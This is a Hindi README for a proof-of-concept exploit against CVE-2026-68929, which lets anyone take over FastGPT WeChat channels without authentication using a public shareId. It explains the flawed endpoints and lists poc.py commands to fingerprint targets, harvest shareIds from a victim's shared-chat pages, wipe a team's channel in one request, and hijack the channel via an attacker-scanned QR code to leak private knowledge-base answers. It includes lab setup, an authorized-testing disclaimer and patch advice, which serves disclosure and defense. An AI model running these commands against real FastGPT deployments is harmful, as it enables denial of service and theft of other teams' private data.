
CVE-2026-68929 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो सार्वजनिक shareId के माध्यम से FastGPT WeChat चैनलों के बिना प्रमाणीकरण के क्रॉस-टेनेंट अधिग्रहण को प्रदर्शित करता है, जिसमें चैनल हाईजैक और DoS शामिल हैं।
| CVE | CVE-2026-68929 (CVSS 4.0 9.3 क्रिटिकल) |
| सलाह | GHSA-q4pr-3qpg-9q5v |
| प्रभावित | FastGPT >= 4.14.10, < 4.14.29 और >= 4.15.0, < 4.15.2 |
| सुधारित | 4.14.29 और 4.15.2 (PR #7260) |
| CWE | CWE-862 (अनुपलब्ध प्राधिकरण), CWE-306 |
विस्तृत लेख: https://www.hunt-benito.com/blog/your-bot-my-inbox-cve-2026-68929-fastgpt-unauthenticated-wechat-channel-hijack/
/api/support/outLink/wechat/ के अंतर्गत तीन प्रबंधन एंडपॉइंट क्रॉस-टेनेंट
लेखन को केवल अनुरोध-आपूर्ति किए गए shareId का उपयोग करके अधिकृत करते हैं —
वह पहचानकर्ता जिसे FastGPT हर साझा-चैट URL, iframe और embed में प्रिंट करता है:
logout — authOutLinkValid द्वारा सीमित, जो केवल अस्तित्व जांच है, फिर
outLink के संग्रहीत वीचैट app.token को मिटा देता है और app.status को
ऑफ़लाइन कर देता है। सार्वजनिक shareId वाला कोई भी अनाम कॉलर एक अनुरोध में
टीम के चैनल को नष्ट कर देता है।qrcode/generate — समान केवल-अस्तित्व गेट; publish:wechat:qrcode:<shareId> के
अंतर्गत कैश किया गया iLink लॉगिन QR लौटाता है।qrcode/status — कोई प्राधिकरण कॉल नहीं; जब QR की पुष्टि होती है तो यह
स्कैनर के bot_token / accountId / baseUrl को shareId द्वारा पहचाने गए
outLink में लिखता है और पोलिंग शुरू करता है।QR स्कैन करने वाला जो भी हो, बॉट चुन सकता है। इसे हमलावर के वीचैट से स्कैन करें और पीड़ित टीम का ऐप हमलावर के बॉट से जुड़ जाता है: निजी ज्ञान-आधार उत्तर बाहर निकलते हैं और पीड़ित के AI पॉइंट इसके लिए भुगतान करते हैं।
शून्य निर्भरताएँ — केवल Python 3 मानक पुस्तकालय।
# 1. सुरक्षित रूप से फ़िंगरप्रिंट करें (अस्तित्वहीन shareId; कमजोर बिल्ड पर
# कोड 501 linkUnInvalid की उम्मीद करें, पैच किए गए पर प्रमाणीकरण त्रुटि)
python3 poc.py probe --url http://localhost:3000
# 2. साझा-चैट लिंक / iframe / embed से सार्वजनिक shareId एकत्र करें
python3 poc.py harvest --target "https://victim.example/chat/share?shareId=XXXX"
python3 poc.py harvest --target saved-page.html
# 3. एक-अनुरोध DoS — चैनल बाइंडिंग मिटाता है
python3 poc.py dos --url http://localhost:3000 --share-id XXXX
# 4. चैनल हाइजैक — victim-qr.png उत्पन्न करता है; इसे हमलावर के वीचैट से
# स्कैन करें, स्क्रिप्ट तब तक पोल करती है जब तक बाइंडिंग नहीं बदल जाती
python3 poc.py hijack --url http://localhost:3000 --share-id XXXX
रिपॉजिटरी के आधिकारिक compose टेम्पलेट से 4.15 लाइन के लिए FastGPT तैनात करें
(deploy/version/v4.15/docker-compose.template.yml), इमेज को v4.15.1 पर पिन
करें (उस शाखा का अंतिम कमजोर रिलीज़)। एक ऐप बनाएं, उसे प्रकाशित करें, प्रकाशन
सेटिंग्स में एक वीचैट outLink जोड़ें, फिर उसके विरुद्ध probe / dos /
hijack चलाएं। वास्तविक iLink बॉट पंजीकरण पूरा करना प्राधिकरण दोष का
निरीक्षण करने के लिए आवश्यक नहीं है — म्यूटेटिंग हैंडलर की अनाम पहुंच ही बग है।
केवल अधिकृत परीक्षण और रक्षा सत्यापन के लिए। सुधारित रिलीज़ जुलाई 2026 से उपलब्ध हैं — यदि आप वीचैट चैनल के साथ FastGPT चलाते हैं, तो >= 4.15.2 (या
= 4.14.29) में अपग्रेड करें और किसी भी चैनल को फिर से बाइंड करें जो एक्सपोज़र अवधि के दौरान सक्रिय था।